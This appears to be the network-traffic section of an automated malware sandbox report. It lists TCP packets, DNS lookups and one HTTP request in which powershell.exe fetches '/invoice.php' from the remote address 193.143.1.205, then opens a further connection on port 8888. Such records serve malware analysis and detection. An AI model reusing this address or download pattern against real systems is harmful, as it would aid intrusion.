Jan 11, 2025 02:29:45.903650045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903661013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903671980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903678894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903688908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903707981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903717995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903727055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903737068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903743029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903753042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903764009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.903774023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903800011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.903961897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904035091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904046059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904057026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904067993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.904073954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904090881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.904143095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904186964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.904263973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904273033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904282093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904290915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904303074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904306889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.904314995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904324055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904334068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.904361963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.904535055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904544115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904552937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904562950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.904568911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904580116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904587030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.904592037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.904617071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.908157110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.911019087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.937525034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937566042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937573910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.937599897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937611103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937627077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937633991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.937642097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937665939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.937783003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937793970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937805891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937813997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.937833071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.937895060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937906027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937917948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937935114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937941074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.937951088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.937968016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.938049078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.938060045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.938071012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.938081026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.938110113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.953454971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.953504086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.953516006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.953552008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.953557968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.953591108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.953610897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.953624010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.953634977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.953644037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.953655005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.953679085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.990799904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.990819931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.990830898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.990890980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.990922928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.990935087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.990946054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.990957975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.990969896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.990997076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991117001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991128922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991141081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991163969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991175890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991328955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991338968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991348982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991359949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991373062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991379023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991389036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991400003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991408110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991424084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991431952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991442919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991493940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991755009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991765022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991775036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991785049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991795063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991802931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991811991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991822958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991835117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991839886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991848946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991856098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991863966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991874933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991888046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.991893053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.991910934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992115021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992125034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992130995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992142916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992155075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992163897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992199898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992217064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992228985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992238998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992249966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992259979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992270947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992278099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992296934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992309093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992316008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992326021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992355108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992774963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992785931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992794991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992805958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992816925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992821932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992831945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992841959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992847919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992857933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992865086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992875099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992883921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.992899895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.992922068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993118048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993129015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993144035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993154049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993165016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993180990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993190050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993197918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993207932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993217945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993227959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993233919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993247986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993252039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993269920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993290901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993300915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993309975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993316889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993324995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993334055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993344069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993350029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993360043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993371010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993382931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993387938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993397951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993407965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993415117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993434906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993439913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.993449926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.993464947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.994155884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994167089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994175911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994187117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.994193077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994203091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994210005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.994220018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994240999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.994246006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994256973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994266987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994277954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.994282961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994292974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:45.994299889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:45.994328022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.009372950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.019737005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.026186943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026200056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026211977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026231050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026242971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026251078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.026293039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.026324034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026335001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026348114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026359081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026366949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.026385069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.026417971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026428938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026441097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026464939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.026492119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.026520014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026530981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026551962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.026562929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.042273998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.042288065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.042311907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.042324066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.042335033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.042346001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.042352915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.042368889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.042376041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.042397022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.042463064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078325987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078340054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078358889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078370094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078392982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078418970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078423023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078433037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078449965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078455925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078481913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078526020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078541994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078564882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078572035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078582048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078615904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078635931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078648090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078659058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078669071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078685999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078708887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078777075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078787088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078798056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078810930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078824997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078830004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078850985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078857899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078896046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078916073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078927040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078962088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.078980923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078989983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.078999996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.079021931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.126070976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.162509918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.306334972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.681792021 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.686629057 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:46.686734915 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.686887026 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:46.691668987 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:47.524633884 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 02:29:47.579206944 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:29:48.750629902 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:30:13.620531082 CET	56559	53	192.168.2.8	162.159.36.2
Jan 11, 2025 02:30:13.625662088 CET	53	56559	162.159.36.2	192.168.2.8
Jan 11, 2025 02:30:13.625808001 CET	56559	53	192.168.2.8	162.159.36.2
Jan 11, 2025 02:30:13.630645037 CET	53	56559	162.159.36.2	192.168.2.8
Jan 11, 2025 02:30:14.212153912 CET	56559	53	192.168.2.8	162.159.36.2
Jan 11, 2025 02:30:14.217539072 CET	53	56559	162.159.36.2	192.168.2.8
Jan 11, 2025 02:30:14.217621088 CET	56559	53	192.168.2.8	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:29:59.691279888 CET	61905	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:30:13.619834900 CET	53	62929	162.159.36.2	192.168.2.8
Jan 11, 2025 02:30:13.692481041 CET	60301	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:30:14.231333017 CET	52586	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:30:14.240201950 CET	53	52586	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:29:59.691279888 CET	192.168.2.8	1.1.1.1	0xa6fe	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:30:13.692481041 CET	192.168.2.8	1.1.1.1	0x6ab4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:30:14.231333017 CET	192.168.2.8	1.1.1.1	0x8614	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:29:56.971061945 CET	1.1.1.1	192.168.2.8	0xd889	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:29:56.971061945 CET	1.1.1.1	192.168.2.8	0xd889	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:29:59.698497057 CET	1.1.1.1	192.168.2.8	0xa6fe	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:30:13.699736118 CET	1.1.1.1	192.168.2.8	0x6ab4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:30:14.240201950 CET	1.1.1.1	192.168.2.8	0x8614	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 11, 2025 02:30:59.159291983 CET	1.1.1.1	192.168.2.8	0x9a89	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:30:59.159291983 CET	1.1.1.1	192.168.2.8	0x9a89	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	6400	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:29:44.491539001 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
